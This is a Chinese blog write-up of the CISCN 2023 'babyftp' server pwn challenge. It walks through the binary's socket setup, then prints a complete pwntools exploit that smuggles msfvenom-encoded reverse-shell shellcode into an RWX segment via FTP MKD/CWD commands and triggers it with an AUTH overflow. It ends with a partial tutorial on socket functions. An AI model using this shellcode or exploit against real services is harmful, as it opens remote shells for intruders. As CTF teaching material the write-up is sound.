babyftp——一道服务器类pwn题引发的学习历程

本文最后更新于:2024年6月8日 下午

下次别让我逮住你出服务器pwn

先来看一看题

这题是ciscn 2023 华北赛区的一道题,虽然主办方的操作比较一言难尽,但是这题还是可以学习一下的

(关于网络编程以及相关服务器和报文协议的具体内容,我以后会深入学习一下。不过目前我还是要先把这个题搞明白,暂时记录一下这类pwn题的常见调试方法。)

题目文件我回来放上,如果想先看理论的话,可以先跳过这一个小节。

题目分析与网络编程基础

题目从main函数开始,先打开.conf文件进行了相关配置。可以修改.conf中的一些启动路径,让其符合自己机器的情况。

接下来程序打开.conf文件读了里面的数据,这里也不需要太多注意。

后面程序调用了一个关键的函数:inet_addr:

1
in_addr_t inet_addr(char *);

这个函数的作用是把ipv4的点分十进制字符序列转化为网络字节序的32位整型

网络字节序可以直接理解为大端序。

总之就是读配置文件(或者使用默认值),然后用inet_addr等处理之后保存

img-1

后面又调用了一个inet_ntoa,这个函数和inet_addr是一对互逆的函数,可以把网络字序的32位整数转为点分十进制的字符串。

之后启动新的线程进行服务。

在新的线程里,程序根据配置文件进行了socket和bind的操作(如下图)

img-2

socket和的作用是创建一对套接字,其函数原型如下

1
int socket(int family,int type,int protocol) 

题目中(2,1,6)的参数序列是非常常见的情况,代表socket的协议族、套接字类型和使用的协议。

setsockopt是为了实现端口的复用,这个我们暂时不提。后面bind的作用是将一个套接字和一个保存了ip&port信息的sockaddr结构绑定。这是一个16字节的结构。

复现时会出现bind失败的情况,原因在于默认port以及配置文件的port都是21,这个端口应该是已经被占用的状态,需要手动改成6666。如果这个题目被启动了两次,这个两个程序也会发生端口的冲突导致bind失败。

bind之后会进入监听状态,之后通过accept触发远程链接。

链接好之后会发现这个题目就是一个大菜单,可以进行交互。具体到pwntools里的操作就是先process启动babyftp,再用一个remote连接到端口并交互。

解题思路

main函数一开始开了一个RWX段,PWD命令会把工作目录名写进这个段内。

先根据配置文件内容,用USER和PASS指令登录管理员

CWD可以切换目录,MKD指令可以创建目录,但是有一个奇怪的字符过滤操作。经过尝试发现似乎不接受\x00,这导致直白的payload写不进去。

这里可以使用异或来处理shellcode,让被加密的shellcode注入进去,执行时再解密即可。

一个好用的办法是使用msfvenom,这是一个非常强的大的shellcode生成工具。可以通过一下指令:

1
msfvenom -p $payload_type lhost=$ip lport=$port -e $encoder_name -b $invaild_byte -f $result

其中,-p跟payload类型,-e跟编码器类型,这些都可以通过 -l payloads或 -l e来查看所有可用类型。

-p要选择/linux/x64/reverse_shell_tcp,这个payload会创造一个回连的shell

ip为点分十进制,port为自己的一个端口(回来监听这个端口),-b参数跟被屏蔽的字符(payload不会包含这类字符了),-f跟的是输出类型,跟py就可以了。

wp里说这题是由守护进程启动的,所以常规的system(“/bin/sh”)拿不到shell,但是起execve没啥问题..

放下EXP,这是到目前为止我用的最新的一套模板,调试时,run_mode选择DEBUG或者process,socket_flag填True。调试完成后,run_mode选择REMOTE,socket_flag选择False,然后本地单独开一个终端启动题目(或开启远程靶机),再用脚本连接上即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
from pwn import *
from socket import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

global p
global r
ELFpath=''
libcpath=''

DEBUG=2
PROCESS=1
REMOTE=0

run_mode=REMOTE
socket_flag=False

ELFpath='/home/jmpcliff/Desktop/babyftp'
os.chdir(ELFpath[:ELFpath.rfind('/')])


libcpath='/home/jmpcliff/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc-2.31.so'
if(libcpath!=""):
libc=ELF(libcpath)


start_script='''
b*0x40700e
b*0x60e538
c
'''
# b*0x4056B6
# b*0x406C91
# b*0x406EC4
# b*0x406E93

if(socket_flag==False):
if(run_mode==DEBUG):
p=gdb.debug(args=["sudo "+ELFpath,start_script])
elif(run_mode==PROCESS):
p=process(argv=[ELFpath,'/home/jmpcliff/Desktop/httpd'])
elif(run_mode==REMOTE):
p=remote('127.0.0.1',6666)
else:
if(run_mode==DEBUG):
r=gdb.debug(ELFpath,start_script )
elif(run_mode==PROCESS):
r=process(argv=[ELFpath,'/home/jmpcliff/Desktop/httpd'])
pause()
p=remote('127.0.0.1',6666)


rut=lambda s :p.recvuntil(s,timeout=0.3)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))

LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))

def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
global p
text_base, libc_base = get_base(p, 'noka')
script = '''
set $text_base = {}
set $libc_base = {}
b*$rebase(0x2089)
b*$rebase(0x20cc)
b*$rebase(0x2247)
b*$rebase(0x2257)

# '''.format(text_base, libc_base)
if socket==False:
gdb.attach(p, script)
else:
gdb.attach(r, script)

def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)

pause()
s("USER ctf\r\n")

pause()
s("PASS 123456\r\n")


buf = b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\x64\x44\x4f\x74\x3d"
buf += b"\x26\xd8\x38\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\x0e\x6d\x17\xed\x57\x24\x87\x52\x65"
buf += b"\x1a\x40\x71\x75\xb1\x90\x81\x66\x44\x68\x7b\xfd"
buf += b"\x8e\x76\xbb\x35\x0c\xc6\x92\x57\x36\x82\x52\x4e"
buf += b"\x1c\x40\x71\x57\x25\x86\x70\x9b\x8a\x25\x55\x65"
buf += b"\x29\xdd\x4d\x92\x2e\x74\x2c\xa4\x6e\x63\x17\x06"
buf += b"\x2d\x21\x5b\x4e\x4e\xd8\x6b\x2c\xcd\xa8\x26\x6a"
buf += b"\x6e\x51\xde\x6b\x41\x4f\x74\x3d\x26\xd8\x38"

pause()
shellcode=buf

#s(b"MKD "+buf+b'\r\n')
s(b"MKD "+shellcode+b'\r\n')
#s(b'MKD abababab\r\n')


pause()
s(b"CWD "+shellcode+b'\r\n')
#s(b"CWD "+buf+b'\r\n')
#s(b'CWD abababab\r\n')


pause()
s("PWD\r\n")
# #257 \"%s\" is a current directory.\r\n

pause()
pay=0x88*b'b'+p64(0x60E4E6)
s(b"AUTH "+pay+b"\r\n")

it()

socket套接字通信流程

这一小节着重记录一下关于使用套接字进行网络通信涉及到的相关函数已经操作流程。

所谓套接字个人的理解就是把网络通信涉及到的相关信息打包到一个文件描述符里面然后用这个文件描述符进行操作,类似于通过这个套接字描述符建立了一个通信桥梁,将网络通信行为编程文件操作()

Socket的基本操作函数

服务端(Server)操作

socket() 创建套接字

1
int socket(int domain, int type, int protocol);

三个参数分别代表协议族(决定socket的地址类型,IPv4或IPv6这种)、socket类型(流式套接字等)、指定的协议(TCP,UDP)。

平时反弹flag常用传参是2,1,0。

返回值是一个套接字,目前这个套接字还是不能用的。

bind() 将套接字和端口号绑定

1
2
3
4
5
6
struct sockaddr{
sa_family_t sin_family;
char sa_data[14];
};

int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

bind函数的作用是将通信地址和socket套接字描述符进行绑定。sockfd使用的是socket返回的套接字描述符。addr则是IGsockaddr类型,内含了通信地址信息,一般来说,sin_family占两个字节,代表协议族(就是socket()的第一个参数),sa_data代表ip地址,这里采用网络字节序。addrlen则是sockaddr的长度(一般是0x10)

网络字节序即大端序,相关转换函数后续会有说明,这里先以原理为主,不过多纠结细节。

listen


babyftp——一道服务器类pwn题引发的学习历程
http://example.com/2023/11/20/Blog/Pwn/pwn note/httpd/babyftp(服务器类pwn总结)/
作者
Jmp.Cliff
发布于
2023年11月20日
许可协议